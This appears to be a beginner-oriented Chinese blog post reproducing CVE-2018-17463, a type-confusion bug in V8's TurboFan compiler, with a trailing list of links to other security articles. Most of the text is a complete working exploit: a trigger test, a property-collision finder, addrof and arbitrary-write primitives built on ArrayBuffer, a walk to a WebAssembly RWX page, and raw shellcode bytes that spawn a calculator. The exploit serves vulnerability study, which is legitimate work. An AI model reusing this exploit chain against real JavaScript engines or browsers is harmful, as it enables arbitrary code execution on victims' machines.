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    通過一個CVE零基礎入門V8-pwn

    一顆小胡椒2021-11-08 16:06:19

    跟隨P4nda大佬的博客:http://p4nda.top/2019/06/11/%C2%96CVE-2018-17463/#Reference

    復現了CVE-2018-17463,在一些大佬懶得講的地方加了一些理解和解釋,比較新手向

    commit: 568979f4d891bafec875fab20f608ff9392f4f29

    v8環境搭建:https://zhuanlan.zhihu.com/p/159646912

    漏洞存在于src/compiler/js-operator.cc:625

    #define CACHED_OP_LIST(V)                                              ... ...  V(CreateObject, Operator::kNoWrite, 1, 1)                            ... ...
    

    問題是對JSCreateObject的操作存在誤判,V8認為CreateObject不存在副作用,所以是kNoWrite,副作用就是指某個操作改變了某些全局變量或其他的系統狀態等等。

    但是實際上,在Turbofan的generic-lowering階段,generic-lowering作用是將JS前綴指令轉換為更簡單的調用和stub調用。Turbofan把JSCreateObject節點用Builtins函數kCreateObjectWithoutProperties代替,而kCreateObjectWithoutProperties就是一個stub調用。

    (這里一些源碼就不放了,新手向新手向,想細看源碼的可以移步大佬的博客)

    如果一路跟進下去,在JSObject::NormalizeProperties函數中,可以發現該函數會調用Map::Normalize根據原有的map生成一個新的map,并且利用新的map重新構建輸入的Object,這明顯是一個具有side-effect的操作。

    也就是說這個函數會改變我們傳進去的參數object。然后看這句代碼:

    可以看到,新生成的map是字典模式的。所以最后我們輸入的object即便原來是fast模式,也會變成字典模式。所以JSCreate并不是KNoWrite的。

    KNoWrite是一個枚舉類型的標志:

    那么我們如何實現JSCreate操作呢,這里可以通過Object.create觸發

    其函數定義為:

    Object.create(proto, [propertiesObject])

    第二個參數是可選的,如果寫了就會把它加入到新創建的對象的可枚舉屬性中。然后第一個參數是作為新創建的對象的原型,這也就滿足了上面說的一個對象作為另一個對象的原型的條件。

    接下來我們用d8去調一下試試:

    首先我們聲明一個對象:

    可以看到此時a是fast模式,然后我們執行Object.create(a)試試:

    可以看到,我們只是將a當做一個參數去調用了一個函數,a本身的模式就被改變了。

    現在我們只知道a的模式被改變了,那么對應到具體的內存中又發生了哪些變化呢,我們用gdb調進去看看:

    先放調試的js代碼:

    var a={x:1,y:2,z:3};a.b=4;a.c=5;a.d=6;%DebugPrint(a);%SystemBreak();Object.create(a);%DebugPrint(a);%SystemBreak();
    

    我們首先來到第一個斷點:

    這是a的結構,有六個屬性,其中有三個標志為properties,還有三個我們可以通過查看object的map:

    發現是inobject properties,也就是保存在結構體內部的屬性。

    我們可以直接查看a所在的內存:

    可以發現,第一個八字節,存的是object對應的map,第二個八字節:

    可以看到里面存放了我們后來添加進去的三個屬性,并且是按順序存儲。

    然后我們看進入到第二個斷點處:

    可以看到a的map已經變成了字典模式,符合我們上面對它進行的分析。

    然后我們查看a的內存:

    我們發現x,y,z的屬性值不見了,我們再去查看properties:

    發現長度變成了6,并且結構變成了hashtable,也就是哈希表。

    到了這里,我們發現,Object.create對一個Object的影響,無論原來的屬性是inobject properties還是properties,都搞到properties中,并且把原來的線性結構改成hash表的字典結構。

    現在我們已經知道了這個side-effect,那么我們如何利用它呢?

    首先我們看一個函數:

    function foo(o) { return o.a + o.b; }
    

    其IR code 如下:

    CheckHeapObject o CheckMap o, map1 r0 = Load [o + 0x18] CheckHeapObject o CheckMap o, map1 r1 = Load [o + 0x20] r2 = Add r0, r1 CheckNoOverflow Return r2
    

    大意就是檢查map,賦值,檢查map,賦值,相加,檢查溢出,返回

    當兩個檢查節點中間的操作是kNoWrite時,第二個檢查就變成了多余的,所以我們可以先訪問一個對象的內部屬性,然后調用Object.create(),由于JS引擎默認這個操作是kNoWrite的,所以可能會導致我們再訪問變量的時候不檢查了。具體利用方法為:

    首先定義一個數組,初始化一個a屬性,然后再額外添加一個b屬性,然后利用Object.create(數組),改變其內部存儲,然后返回b屬性。

    function attack(){    function change(x){        x.a;        Object.create(x);        return x.b;    }
        for(let i =0;i<10000;i++)    {        let x={a:0x1234};        x.b=0x5678;        let res=change(x);        if(res!=0x5678)        {            console.log(i);            console.log("CVE-2018-17463 exists in the d8");            return;        }    }    console.log("no cve")}attack()
    

    把這段代碼扔d8里跑一下:

    可以看到確實觸發了漏洞

    由于它是由順序表變成了哈希表,具有一定的隨機性,每個屬性的偏移位置是不固定的,這給我們的穩定利用帶來了難度,但是我們又發現了一個規律:

    當我們對兩個屬性名相同的對象進行上面的操作時,相同的屬性名所在的偏移是相同的,盡管他們的屬性值不同。

    接下來就到了比較難懂的地方了,我們抓住相同的屬性名偏移相同這一特點,以及V8會有一定可能因為認為Object.create的操作是kNoWrite的而放棄第二次檢查這兩個特點,去構造一個沖突,什么沖突呢,屬性名偏移沖突。

    我們先來看代碼:

    let OPTIMIZATION_NUM = 10000let OBJ_LEN  = 0x30
    function getOBJ(){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        eval(`res.${'b'+i} = -${0x4869 + i};        `);            }    return res;}
    function findCollision(){    let find_obj = [];    for (let i = 0;i        find_obj[i] = 'b'+i;    }    eval(`        function bad_create(x){            x.a;            this.Object.create(x);            ${find_obj.map((b) => `let ${b} = x.${b};`).join('')}            return [${find_obj.join(', ')}];        }    `);    for (let i = 0; i        let tmp = bad_create(getOBJ());        for (let j = 0 ;j            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){                console.log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");                //return ['b'+j , 'b' + -(tmp[j]+0x4869)];            }        }    }    throw "not found collision ";}findCollision();
    

    由于本人是剛學V8兩天的小白,僅僅這段代碼就看了足足一個小時,還好最后也是看懂了,這里來講講它做了什么:

    可以這樣理解,我們先搞出來一個對象,賦一些屬性上去,這里注意,一定要是有規律的賦,怎么算有規律呢,我們需要能夠做到通過屬性名知道屬性值,并且能夠通過屬性值知道屬性名,這里可以采用字母+編號的方式。比如b12=120;b13=121;b14=122這種方式,讓其對應上。

    做以上操作的時候代碼中運用了模板字符串啊,eval等這些函數,以前也沒怎么接觸過js,確實是蒙了一小會,不過多百度百度也就懂了。

    然后仿照上面我們判斷引擎是否存在cve漏洞的方法,通過判斷返回值是否符合預期我們就可以知道是否觸發了漏洞,然后這里多了一個操作,如果不符合預期的話,那它應該是給我們返回了一個其他屬性的值,什么值呢,這里就需要依靠之前設定的規律來找到,找到發生沖突的屬性,假設是我們預期的返回值是A的,但是返回了B的屬性值,說明漏洞發生了,數據內存結構被改變了。也就是說當我訪問B的時候,它會給我B的屬性值,當我訪問A的時候,它還會給我B的屬性值。

    為什么這樣就可以利用了呢?

    我們上面已經發現了,相同的屬性名,偏移不變,所以如果我們新建一個object,然后添加兩個屬性,名字就叫A和B,此時我去訪問A,就可以得到B的數據了,如果B中存了object類型的數據,那么我正常通過B去訪問,引擎檢測到我要打印object的話,它會顯示類型名,即object,如果A中本來存了浮點型的數據,這樣打印的時候,會把對應偏移的數據當成浮點型來打印,也就是會打印真值,而對應偏移的數據其實是B的object的地址,這樣就拿到了addrof原語。

    我們來看一下實現代碼:

    o.X = {x1:1.1,x2:1.2}; o.Y = {y1:obj};
    function bad_create(o){ o.a; this.Object.create(o); return o.X.x1;}
    

    這樣的話看似返回的應該是1.1,但是實際上返回的是浮點型的object的地址,我們做一下浮點轉換即可。

    有了addrof原語,我們還需要能夠做到任意地址讀寫,這里借用了ArrayBuffer這一數據結構。我們先來看一下ArrayBuffer的結構長啥樣:

    pwndbg> v8print 0x1d4b8ef8e1a90x1d4b8ef8e1a9: [JSArrayBuffer] - map: 0x350743c04371  [FastProperties] - prototype: 0x29b14b610fd1 map = 0x350743c043c1>- elements: 0x236c6c482cf1 0]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x5652a87208f0 - byte_length: 1024 - neuterable - properties: 0x236c6c482cf1 0]> {}- embedder fields = {    (nil)    (nil) }
    其長度由byte_length指定,而實際讀寫的內存位于backing_store,當可以修改一個ArrayBuffer的backing_store時就可以對任意地址進行讀寫。而此成員在結構體中的偏移是0x20
    也就是說我們需要構造一個往偏移+0x20處寫的操作就可以控制ArrayBuffer讀寫哪里的內存。
    然后我們來研究一下fast模式下的內存結構,我們先看這段代碼執行的結果:
    var a={x0:0x41414141};%DebugPrint(a);%SystemBreak();
    可以看到第一個屬性值出現在了偏移為0x18的位置
    那么如果換成這種嵌套的寫法呢:
    var a={x0:{x1:1.1,x2:1.2}};%DebugPrint(a);%SystemBreak();
    我們再來看一下:
    我們會發現,0x18存的是0x20處的地址,然后0x20是一個新的對象的起始地址,然后1.2存在了0x20偏移0x20的地方,那么結合之前的漏洞,我們可以知道,當我們去修改X.x0.x2的時候,就是在修改Y.object偏移0x20位置的值了。
    也就是說我們有了任意寫了,那么如何任意讀呢,由于我們是利用ArrayBuffer來進行的任意地址寫,讀肯定也要借助它,這里用了DataView:
    它可以方便的讀取ArrayBuffer里的數據。
    最后一個問題,我們有了任意地址讀寫,我們應該考慮的是往一個rwx的區域寫shellcode,然后去執行,我們往哪里寫呢?
    利用的是wasm機制,這里給出一個wasm的實例構造:
    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);var wasmImports = {  env: {    puts: function puts (index) {      console.log(utf8ToString(h, index));    }  }};let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);let h = new Uint8Array(m.exports.memory.buffer);let f = m.exports.p4nda;f();
    其中,f是一個JSFunction對象,只不過其實際執行代碼存放于一個rwx的內存中,通過寫該內存的代碼區域,最終調用f(),觸發來執行shellcode。
    首先,構造wasm對象f方便shellcode執行,并利用addrof原語泄露f的地址。然后,定義一個ArrayBuffer對象,并利用gc機制使其被放入Old Space使地址更加穩定。之后,不斷的利用該ArrayBuffer對象,泄露并修改其backing_store成員指向待讀寫區域,具體修改順序為從JSFucntion到rwx區域的尋址流程:
    JSFucntion -(0x18)->SharedFunctionInfo -(0x8)-> WasmExportedFunctionData -(0x10)-> WasmInstanceObject -(0xc8)-> imported_function_targets -(0)-> rwx_area
    我們通過一串調用鏈一路讀下去,讀到一個,寫到ArrayBuffer的backing_store中,然后接著讀指定偏移的數據,再寫過去,一直做到我們得到rwx地址,然后往rwx里面寫好shellcode,最后調用f()觸發即可。
    有關wasm機制可以通過這篇文章進行一個初步的了解:https://www.cnblogs.com/jixiaohua/p/10425805.html
    到這里所有的攻擊原理已經了解清楚了,這里放一下大佬的exp,我這小垃圾自己寫肯定是寫不來的了,不過至少大佬的exp已經基本弄懂了。
    function gc(){    /*fill-up the 1MB semi-space page, force V8 to scavenge NewSpace.*/    for(var i=0;i<((1024 * 1024)/0x10);i++)    {        var a= new String();    }}function give_me_a_clean_newspace(){    /*force V8 to scavenge NewSpace twice to get a clean NewSpace.*/    gc()    gc()}let f64 = new Float64Array(1);let u32 = new Uint32Array(f64.buffer);function d2u(v) {    f64[0] = v;    return u32;}function u2d(lo, hi) {    u32[0] = lo;    u32[1] = hi;    return f64;}function hex(b) {    return ('0' + b.toString(16)).substr(-2);}// Return the hexadecimal representation of the given byte array.function hexlify(bytes) {    var res = [];    for (var i = 0; i < bytes.length; i++)        res.push(hex(bytes[i]));    return res.join('');}// Return the binary data represented by the given hexdecimal string.function unhexlify(hexstr) {    if (hexstr.length % 2 == 1)        throw new TypeError("Invalid hex string");    var bytes = new Uint8Array(hexstr.length / 2);    for (var i = 0; i < hexstr.length; i += 2)        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);    return bytes;}function hexdump(data) {    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')        data = Array.from(data);    var lines = [];    for (var i = 0; i < data.length; i += 16) {        var chunk = data.slice(i, i+16);        var parts = chunk.map(hex);        if (parts.length > 8)            parts.splice(8, 0, ' ');        lines.push(parts.join(' '));    }    return lines.join('');}// Simplified version of the similarly named python module.var Struct = (function() {    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.    var buffer      = new ArrayBuffer(8);    var byteView    = new Uint8Array(buffer);    var uint32View  = new Uint32Array(buffer);    var float64View = new Float64Array(buffer);    return {        pack: function(type, value) {            var view = type;        // See below            view[0] = value;            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);        },        unpack: function(type, bytes) {            if (bytes.length !== type.BYTES_PER_ELEMENT)                throw Error("Invalid bytearray");            var view = type;        // See below            byteView.set(bytes);            return view[0];        },        // Available types.        int8:    byteView,        int32:   uint32View,        float64: float64View    };})();//// Tiny module that provides big (64bit) integers.//// Copyright (c) 2016 Samuel Gro?//// Requires utils.js//// Datatype to represent 64-bit integers.//// Internally, the integer is stored as a Uint8Array in little endian byte order.function Int64(v) {    // The underlying byte array.    var bytes = new Uint8Array(8);    switch (typeof v) {        case 'number':            v = '0x' + Math.floor(v).toString(16);        case 'string':            if (v.startsWith('0x'))                v = v.substr(2);            if (v.length % 2 == 1)                v = '0' + v;            var bigEndian = unhexlify(v, 8);            bytes.set(Array.from(bigEndian).reverse());            break;        case 'object':            if (v instanceof Int64) {                bytes.set(v.bytes());            } else {                if (v.length != 8)                    throw TypeError("Array must have excactly 8 elements.");                bytes.set(v);            }            break;        case 'undefined':            break;        default:            throw TypeError("Int64 constructor requires an argument.");    }    // Return a double whith the same underlying bit representation.    this.asDouble = function() {        // Check for NaN        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))            throw new RangeError("Integer can not be represented by a double");        return Struct.unpack(Struct.float64, bytes);    };    // Return a javascript value with the same underlying bit representation.    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)    // due to double conversion constraints.    this.asJSValue = function() {        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))            throw new RangeError("Integer can not be represented by a JSValue");        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.        this.assignSub(this, 0x1000000000000);        var res = Struct.unpack(Struct.float64, bytes);        this.assignAdd(this, 0x1000000000000);        return res;    };    // Return the underlying bytes of this number as array.    this.bytes = function() {        return Array.from(bytes);    };    // Return the byte at the given index.    this.byteAt = function(i) {        return bytes[i];    };    // Return the value of this number as unsigned hex string.    this.toString = function() {        return '0x' + hexlify(Array.from(bytes).reverse());    };    // Basic arithmetic.    // These functions assign the result of the computation to their 'this' object.    // Decorator for Int64 instance operations. Takes care    // of converting arguments to Int64 instances if required.    function operation(f, nargs) {        return function() {            if (arguments.length != nargs)                throw Error("Not enough arguments for function " + f.name);            for (var i = 0; i < arguments.length; i++)                if (!(arguments[i] instanceof Int64))                    arguments[i] = new Int64(arguments[i]);            return f.apply(this, arguments);        };    }    // this = -n (two's complement)    this.assignNeg = operation(function neg(n) {        for (var i = 0; i < 8; i++)            bytes[i] = ~n.byteAt(i);        return this.assignAdd(this, Int64.One);    }, 1);    // this = a + b    this.assignAdd = operation(function add(a, b) {        var carry = 0;        for (var i = 0; i < 8; i++) {            var cur = a.byteAt(i) + b.byteAt(i) + carry;            carry = cur > 0xff | 0;            bytes[i] = cur;        }        return this;    }, 2);    // this = a - b    this.assignSub = operation(function sub(a, b) {        var carry = 0;        for (var i = 0; i < 8; i++) {            var cur = a.byteAt(i) - b.byteAt(i) - carry;            carry = cur < 0 | 0;            bytes[i] = cur;        }        return this;    }, 2);}// Constructs a new Int64 instance with the same bit representation as the provided double.Int64.fromDouble = function(d) {    var bytes = Struct.pack(Struct.float64, d);    return new Int64(bytes);};// Convenience functions. These allocate a new Int64 to hold the result.// Return -n (two's complement)function Neg(n) {    return (new Int64()).assignNeg(n);}// Return a + bfunction Add(a, b) {    return (new Int64()).assignAdd(a, b);}// Return a - bfunction Sub(a, b) {    return (new Int64()).assignSub(a, b);}// Some commonly used numbers.Int64.Zero = new Int64(0);Int64.One = new Int64(1);function utf8ToString(h, p) {  let s = "";  for (i = p; h[i]; i++) {    s += String.fromCharCode(h[i]);  }  return s;}function log(x,y = ' '){    console.log("[+] log:", x,y);   }
    let OPTIMIZATION_NUM = 10000;let OBJ_LEN = 0x20;let X;let Y;// use a obj to check whether CVE-2018-17463 exists
    function check_vul(){    function bad_create(x){        x.a;        Object.create(x);        return x.b;
        }
        for (let i = 0;i < OPTIMIZATION_NUM; i++){        let x = {a : 0x1234};        x.b = 0x5678;         let res = bad_create(x);        //log(res);        if( res != 0x5678){            log("CVE-2018-17463 exists in the d8");            return;        }
        }    throw "bad d8 version";
    }
    // check collision between directory mode and fast mode
    function getOBJ(){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        eval(`res.${'b'+i} = -${0x4869 + i};        `);            }    return res;}function printOBJ(x){    for(let i = 0;i        eval(`console.log("log:["+${i}+"] :"+x.${'b'+i})`);        //console.log('['+i+']'+x[i]);    }}function findCollision(){    let find_obj = [];    for (let i = 0;i        find_obj[i] = 'b'+i;    }    eval(`        function bad_create(x){            x.a;            this.Object.create(x);            ${find_obj.map((b) => `let ${b} = x.${b};`).join('')}            return [${find_obj.join(', ')}];        }    `);    for (let i = 0; i        let tmp = bad_create(getOBJ());        for (let j = 0 ;j            if(tmp[j] != -(j+0x4869) && tmp[j] < -0x4868 && tmp[j] > -(1+OBJ_LEN +0x4869) ){                log('b'+ j +' & b' + -(tmp[j]+0x4869) +" are collision in directory");                return ['b'+j , 'b' + -(tmp[j]+0x4869)];            }        }    }    throw "not found collision ";}
    // create primitive -> addroffunction getOBJ4addr(obj){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        if (('b'+i)!= X &&('b'+i)!= Y  ){        eval(`res.${'b'+i} = 1.1;        `);        }        if (('b'+i)== X){            eval(`                res.${X} = {x1:1.1,x2:1.2};                `);                    }        if (('b'+i)== Y){            eval(`                res.${Y} = {y1:obj};                `);                    }            }    return res;}function addrof(obj){    eval(`        function bad_create(o){            o.a;            this.Object.create(o);            return o.${X}.x1;        }    `);
        for (let i = 0;i < OPTIMIZATION_NUM;i++){         let ret = bad_create( getOBJ4addr(obj));         let tmp =Int64.fromDouble(ret).toString();        if (ret!= 1.1){            log(tmp);            return ret;         }    }    throw "not found addrof obj";
    }
    // create primitive -> Arbitrary writefunction getOBJ4read(obj){    let res = {a:0x1234};    for (let i = 0; i< OBJ_LEN;i++){        if (('b'+i)!= X &&('b'+i)!= Y  ){        eval(`res.${'b'+i} = {};        `);        }        if (('b'+i)== X){            eval(`                res.${X} = {x0:{x1:1.1,x2:1.2}};                `);                    }        if (('b'+i)== Y){            eval(`                res.${Y} = {y1:obj};                `);                    }            }    return res;}function arbitraryWrite(obj,addr){    eval(`        function bad_create(o,value){            o.a;            this.Object.create(o);            let ret = o.${X}.x0.x2;             o.${X}.x0.x2 = value;            return ret;        }    `);
        for (let i = 0;i < OPTIMIZATION_NUM;i++){         let ret = bad_create( getOBJ4read(obj),addr);        let tmp =Int64.fromDouble(ret).toString();        if (ret!= 1.2){            return ;        }    }    throw "not found arbitraryWrite";
    }
    // exploit
    function exploit(){    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,138,128,128,128,0,2,96,0,1,127,96,1,127,1,127,2,140,128,128,128,0,1,3,101,110,118,4,112,117,116,115,0,1,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,112,52,110,100,97,0,1,10,145,128,128,128,0,1,139,128,128,128,0,1,1,127,65,16,16,0,26,32,0,11,11,150,128,128,128,0,1,0,65,16,11,16,72,97,99,107,101,100,32,98,121,32,80,52,110,100,97,0]);    var wasmImports = {      env: {        puts: function puts (index) {          console.log(utf8ToString(h, index));        }      }    };    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);    let h = new Uint8Array(m.exports.memory.buffer);    let f = m.exports.p4nda;    console.log("step 0: Game start");    f();    console.log("step 1: check whether vulnerability exists");    check_vul();    console.log("step 2: find collision");    [X,Y] = findCollision();
        let mem = new ArrayBuffer(1024);     give_me_a_clean_newspace();    console.log("step 3: get address of JSFunciton");    let addr = addrof(f);    console.log("step 4: make ArrayBuffer's backing_store -> JSFunciton");    arbitraryWrite(mem,addr);    let dv = new DataView(mem);    SharedFunctionInfo_addr = Int64.fromDouble(dv.getFloat64(0x17,true));    console.log("[+] SharedFunctionInfo addr :"+SharedFunctionInfo_addr);    console.log("step 5: make ArrayBuffer's backing_store ->  SharedFunctionInfo");    arbitraryWrite(mem,SharedFunctionInfo_addr.asDouble());    WasmExportedFunctionData_addr =  Int64.fromDouble(dv.getFloat64(0x7,true));    console.log("[+] WasmExportedFunctionData addr :"+WasmExportedFunctionData_addr);    console.log("step 6: make ArrayBuffer's backing_store ->  WasmExportedFunctionData");    arbitraryWrite(mem,WasmExportedFunctionData_addr.asDouble());    WasmInstanceObject_addr =  Int64.fromDouble(dv.getFloat64(0xf,true));    console.log("[+] WasmInstanceObject addr :"+WasmInstanceObject_addr);    console.log("step 7: make ArrayBuffer's backing_store ->  WasmInstanceObject");    arbitraryWrite(mem,WasmInstanceObject_addr.asDouble());    imported_function_targets_addr =  Int64.fromDouble(dv.getFloat64(0xc7,true));    console.log("[+] imported_function_targets addr :"+imported_function_targets_addr);    console.log("step 8: make ArrayBuffer's backing_store ->  imported_function_targets");    arbitraryWrite(mem,imported_function_targets_addr.asDouble());    code_addr =  Int64.fromDouble(dv.getFloat64(0,true));    console.log("[+] code addr :"+code_addr);    log("step 9: make ArrayBuffer's backing_store ->  rwx_area");    arbitraryWrite(mem,code_addr.asDouble());    console.log("step 10: write shellcode for poping up a calculator");    let shellcode_calc = [72, 49, 201, 72, 129, 233, 247, 255, 255, 255, 72, 141, 5, 239, 255, 255, 255, 72, 187, 124, 199, 145, 218, 201, 186, 175, 93, 72, 49, 88, 39, 72, 45, 248, 255, 255, 255, 226, 244, 22, 252, 201, 67, 129, 1, 128, 63, 21, 169, 190, 169, 161, 186, 252, 21, 245, 32, 249, 247, 170, 186, 175, 21, 245, 33, 195, 50, 211, 186, 175, 93, 25, 191, 225, 181, 187, 206, 143, 25, 53, 148, 193, 150, 136, 227, 146, 103, 76, 233, 161, 225, 177, 217, 206, 49, 31, 199, 199, 141, 129, 51, 73, 82, 121, 199, 145, 218, 201, 186, 175, 93];    let write_tmp = new Uint8Array(mem);    write_tmp.set(shellcode_calc);    console.log("[+] Press Any key to execute Shellcode");    readline();    f();
    }
    exploit();
    然后我們來具體打一下看看效果:
    計算器確實被丟出來了,拜拜~
    
    evalarraybuffer
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    強網杯-WriteUp
    2022-08-02 08:02:30
    然后使用 admin/123登錄管理員賬戶即可,登錄后存在購買頁面,經過測試,使用如下 payload 可以繞過檢查,再訪問主頁面即可獲得 flag
    跟隨P4nda大佬的博客復現了CVE-2018-17463,在一些大佬懶得講的地方加了一些理解和解釋,比較新手向。
    筆者片面的從多年乙方經驗(不涉及監管層面能拿到的數據)的技術層面來討論下大攻防演練多人運動下的溯源反制思路,以及作為反制團隊如何與藍隊其他成員之間進行配合反制相關的工作。 如有寫的不對的地方及遺漏的地方(肯定有的),請多多交流。
    (翻譯版)Numpy反序列化命令執行淺析代碼審計Python安全編碼和代碼審計Python代碼審計連載之一:CSRF?p=738Python代碼審計連載之三:Server Side Request?p=744Python代碼審計連載之四:Command Execution?p=747Dangerous Python Functions, Part 1Dangerous Python Functions, Part 2Dangerous Python Functions, Part 3記一下PythonWeb代碼審計應該注意的地方廖新喜大佬的python代碼審計工具來自openstack安全團隊的python代碼靜態審計工具來自openstack安全團隊的python代碼靜態審計工具2代碼審計工具pytxfkxfk的python自動化代碼審計?
    菜刀、冰蝎、蟻劍、哥斯拉的流量特征
    2023年11月上旬,研究人員開始跟蹤npm上的可疑出版物。有問題的包包含一個加密的blob,該blob似乎是針對目標計算機的密鑰:只有使用一些本地計算機信息和解密密鑰才能解密。然后將解密的blob傳遞給eval(...)執行。研究人員解密此負載,發現密鑰是一家主要金融機構的domain.tld。此解密的有效負載包含一個嵌入的二進制文件,該二進制文件巧妙地將用戶憑據泄露到相關目標公司內部的Micr
    之前在強網杯做過一道popmaster,在打SCTF又遇到這種類型的題目,簡單總結一下這類題目的思路和一些暴力取巧的做法。
    sqlmap --os-shell原理
    2021-09-24 07:04:41
    前言當數據庫為MySQL,PostgreSQL或Microsoft SQL Server,并且當前用戶有權限使用特定的函數。
    國外媒體近期披露,威脅攻擊者正在積極利用 Brick Builder 中的關鍵遠程代碼執行 (RCE) 漏洞,在易受攻擊的網站上執行惡意 PHP 代碼。
    前言前段時間在刷CTF題目的時候碰到了各種過濾,其中給我印象最為深刻的是無字母數字Webshell,但是刷題的時候總覺得理解不是那么透徹,于是考慮寫一篇總結文章好好總結一下。
    一顆小胡椒
    暫無描述
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